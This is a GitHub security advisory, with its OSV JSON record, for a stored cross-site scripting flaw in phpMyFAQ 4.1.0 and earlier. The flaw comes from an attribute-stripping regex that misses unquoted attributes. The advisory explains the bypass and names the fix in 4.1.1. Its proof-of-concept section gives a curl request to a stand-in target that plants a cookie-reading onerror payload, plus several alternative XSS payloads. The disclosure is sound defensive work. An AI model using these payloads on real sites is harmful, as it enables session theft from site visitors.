GHSA-CV2G-8CJ8-VGC7
Vulnerability from github – Published: 2026-04-01 22:31 – Updated: 2026-04-06 17:18Summary
The sanitization pipeline for FAQ content is:
1. Filter::filterVar($input, FILTER_SANITIZE_SPECIAL_CHARS) — encodes <, >, ", ', & to HTML entities
2. html_entity_decode($input, ENT_QUOTES | ENT_HTML5) — decodes entities back to characters
3. Filter::removeAttributes($input) — removes dangerous HTML attributes
The removeAttributes() regex at line 174 only matches attributes with double-quoted values:
preg_match_all(pattern: '/[a-z]+=".+"/iU', subject: $html, matches: $attributes);
This regex does NOT match:
- Attributes with single quotes: onerror='alert(1)'
- Attributes without quotes: onerror=alert(1)
An attacker can bypass sanitization by submitting FAQ content with unquoted or single-quoted event handler attributes.
Details
Affected File: phpmyfaq/src/phpMyFAQ/Filter.php, line 174
Sanitization flow for FAQ question field:
FaqController::create() lines 110, 145-149:
$question = Filter::filterVar($data->question, FILTER_SANITIZE_SPECIAL_CHARS);
// ...
->setQuestion(Filter::removeAttributes(html_entity_decode(
(string) $question,
ENT_QUOTES | ENT_HTML5,
encoding: 'UTF-8',
)))
Template rendering: faq.twig line 36:
<h2 class="mb-4 border-bottom">{{ question | raw }}</h2>
How the bypass works:
- Attacker submits:
<img src=x onerror=alert(1)> - After
FILTER_SANITIZE_SPECIAL_CHARS:<img src=x onerror=alert(1)> - After
html_entity_decode():<img src=x onerror=alert(1)> preg_match_all('/[a-z]+=".+"/iU', ...)runs:- The regex requires
="..."(double quotes) onerror=alert(1)has NO quotes → NOT matchedsrc=xhas NO quotes → NOT matched- No attributes are found for removal
- Output:
<img src=x onerror=alert(1)>(XSS payload intact) - Template renders with
|raw: JavaScript executes in browser
Why double-quoted attributes are (partially) protected:
For <img src="x" onerror="alert(1)">:
- The regex matches both src="x" and onerror="alert(1)"
- src is in $keep → preserved
- onerror is NOT in $keep → removed via str_replace()
- Output: <img src="x"> (safe)
But this protection breaks with single quotes or no quotes.
PoC
Step 1: Create FAQ with XSS payload (requires authenticated admin):
curl -X POST 'https://target.example.com/admin/api/faq/create' \
-H 'Content-Type: application/json' \
-H 'Cookie: PHPSESSID=admin_session' \
-d '{
"data": {
"pmf-csrf-token": "valid_csrf_token",
"question": "<img src=x onerror=alert(document.cookie)>",
"answer": "Test answer",
"lang": "en",
"categories[]": 1,
"active": "yes",
"tags": "test",
"keywords": "test",
"author": "test",
"email": "test@test.com"
}
}'
Step 2: XSS triggers on public FAQ page
Any user (including unauthenticated visitors) viewing the FAQ page triggers the XSS:
https://target.example.com/content/{categoryId}/{faqId}/{lang}/{slug}.html
The FAQ title is rendered with |raw in faq.twig line 36 without HtmlSanitizer processing (the processQuestion() method in FaqDisplayService only applies search highlighting, not cleanUpContent()).
Alternative payloads:
<img/src=x onerror=alert(1)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>
Impact
- Public XSS: The XSS executes for ALL users viewing the FAQ page, not just admins.
- Session hijacking: Steal session cookies of all users viewing the FAQ.
- Phishing: Display fake login forms to steal credentials.
- Worm propagation: Self-replicating XSS that creates new FAQs with the same payload.
- Malware distribution: Redirect users to malicious sites.
Note: While planting the payload requires admin access, the XSS executes for all visitors (public-facing). This is not self-XSS.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.0"
},
"package": {
"ecosystem": "Packagist",
"name": "phpmyfaq/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34729"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T22:31:44Z",
"nvd_published_at": "2026-04-02T15:16:42Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe sanitization pipeline for FAQ content is:\n1. `Filter::filterVar($input, FILTER_SANITIZE_SPECIAL_CHARS)` \u2014 encodes `\u003c`, `\u003e`, `\"`, `\u0027`, `\u0026` to HTML entities\n2. `html_entity_decode($input, ENT_QUOTES | ENT_HTML5)` \u2014 decodes entities back to characters\n3. `Filter::removeAttributes($input)` \u2014 removes dangerous HTML attributes\n\nThe `removeAttributes()` regex at line 174 only matches attributes with double-quoted values:\n```php\npreg_match_all(pattern: \u0027/[a-z]+=\".+\"/iU\u0027, subject: $html, matches: $attributes);\n```\n\nThis regex does NOT match:\n- Attributes with single quotes: `onerror=\u0027alert(1)\u0027`\n- Attributes without quotes: `onerror=alert(1)`\n\nAn attacker can bypass sanitization by submitting FAQ content with unquoted or single-quoted event handler attributes.\n\n### Details\n\n**Affected File:** `phpmyfaq/src/phpMyFAQ/Filter.php`, line 174\n\n**Sanitization flow for FAQ question field:**\n\n`FaqController::create()` lines 110, 145-149:\n```php\n$question = Filter::filterVar($data-\u003equestion, FILTER_SANITIZE_SPECIAL_CHARS);\n// ...\n-\u003esetQuestion(Filter::removeAttributes(html_entity_decode(\n (string) $question,\n ENT_QUOTES | ENT_HTML5,\n encoding: \u0027UTF-8\u0027,\n)))\n```\n\n**Template rendering:** `faq.twig` line 36:\n```twig\n\u003ch2 class=\"mb-4 border-bottom\"\u003e{{ question | raw }}\u003c/h2\u003e\n```\n\n**How the bypass works:**\n\n1. Attacker submits: `\u003cimg src=x onerror=alert(1)\u003e`\n2. After `FILTER_SANITIZE_SPECIAL_CHARS`: `\u0026lt;img src=x onerror=alert(1)\u0026gt;`\n3. After `html_entity_decode()`: `\u003cimg src=x onerror=alert(1)\u003e`\n4. `preg_match_all(\u0027/[a-z]+=\".+\"/iU\u0027, ...)` runs:\n - The regex requires `=\"...\"` (double quotes)\n - `onerror=alert(1)` has NO quotes \u2192 NOT matched\n - `src=x` has NO quotes \u2192 NOT matched\n - No attributes are found for removal\n5. Output: `\u003cimg src=x onerror=alert(1)\u003e` (XSS payload intact)\n6. Template renders with `|raw`: JavaScript executes in browser\n\n**Why double-quoted attributes are (partially) protected:**\n\nFor `\u003cimg src=\"x\" onerror=\"alert(1)\"\u003e`:\n- The regex matches both `src=\"x\"` and `onerror=\"alert(1)\"`\n- `src` is in `$keep` \u2192 preserved\n- `onerror` is NOT in `$keep` \u2192 removed via `str_replace()`\n- Output: `\u003cimg src=\"x\"\u003e` (safe)\n\nBut this protection breaks with single quotes or no quotes.\n\n### PoC\n\n**Step 1: Create FAQ with XSS payload (requires authenticated admin):**\n```bash\ncurl -X POST \u0027https://target.example.com/admin/api/faq/create\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -H \u0027Cookie: PHPSESSID=admin_session\u0027 \\\n -d \u0027{\n \"data\": {\n \"pmf-csrf-token\": \"valid_csrf_token\",\n \"question\": \"\u003cimg src=x onerror=alert(document.cookie)\u003e\",\n \"answer\": \"Test answer\",\n \"lang\": \"en\",\n \"categories[]\": 1,\n \"active\": \"yes\",\n \"tags\": \"test\",\n \"keywords\": \"test\",\n \"author\": \"test\",\n \"email\": \"test@test.com\"\n }\n }\u0027\n```\n\n**Step 2: XSS triggers on public FAQ page**\n\nAny user (including unauthenticated visitors) viewing the FAQ page triggers the XSS:\n```\nhttps://target.example.com/content/{categoryId}/{faqId}/{lang}/{slug}.html\n```\n\nThe FAQ title is rendered with `|raw` in `faq.twig` line 36 without HtmlSanitizer processing (the `processQuestion()` method in `FaqDisplayService` only applies search highlighting, not `cleanUpContent()`).\n\n**Alternative payloads:**\n```html\n\u003cimg/src=x onerror=alert(1)\u003e\n\u003csvg onload=alert(1)\u003e\n\u003cdetails open ontoggle=alert(1)\u003e\n```\n\n### Impact\n\n- **Public XSS:** The XSS executes for ALL users viewing the FAQ page, not just admins.\n- **Session hijacking:** Steal session cookies of all users viewing the FAQ.\n- **Phishing:** Display fake login forms to steal credentials.\n- **Worm propagation:** Self-replicating XSS that creates new FAQs with the same payload.\n- **Malware distribution:** Redirect users to malicious sites.\n\n**Note:** While planting the payload requires admin access, the XSS executes for all visitors (public-facing). This is not self-XSS.",
"id": "GHSA-cv2g-8cj8-vgc7",
"modified": "2026-04-06T17:18:46Z",
"published": "2026-04-01T22:31:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-cv2g-8cj8-vgc7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34729"
},
{
"type": "PACKAGE",
"url": "https://github.com/thorsten/phpMyFAQ"
},
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "phpMyFAQ: Stored XSS via Regex Bypass in Filter::removeAttributes()"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.